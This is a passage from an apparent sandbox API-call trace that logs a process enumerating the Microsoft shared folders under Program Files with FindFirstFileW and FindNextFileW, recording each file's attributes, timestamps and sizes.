lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0093.510] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0093.511] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0093.511] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0093.511] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0093.511] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0093.511] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0093.511] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0093.512] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0093.512] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0093.512] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0093.512] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0093.512] FindNextFileW (in: hFindFile=0x4260850, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0093.512] FindClose (in: hFindFile=0x4260850 | out: hFindFile=0x4260850) returned 1 [0093.513] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.514] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0093.514] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0093.514] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.514] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0093.515] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0093.515] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.515] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0093.515] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.515] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.515] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0093.515] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0093.515] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.515] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0093.515] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.516] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0093.516] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.516] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0093.517] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0093.517] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0093.517] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0093.517] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0093.517] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0093.517] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0093.517] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0093.517] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0093.517] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.517] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0093.517] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0093.518] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.518] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8127e00, ftCreationTime.dwHighDateTime=0x1cbd076, ftLastAccessTime.dwLowDateTime=0xcd0a4098, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd8127e00, ftLastWriteTime.dwHighDateTime=0x1cbd076, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0093.519] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0093.519] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfe87c00, ftCreationTime.dwHighDateTime=0x1cbfe36, ftLastAccessTime.dwLowDateTime=0x2ce22546, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xcfe87c00, ftLastWriteTime.dwHighDateTime=0x1cbfe36, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0093.519] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0093.519] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.519] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0093.519] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0093.519] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.520] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0093.520] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a69a2a7, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xb3fd6e56, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a69a2a7, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0xf1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0093.520] FindClose (in: hFindFile=0x4260610 | out: hFindFile=0x4260610) returned 1 [0093.520] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0093.520] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0093.520] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260610 [0093.520] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.521] FindNextFileW (in: hFindFile=0x4260610, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, 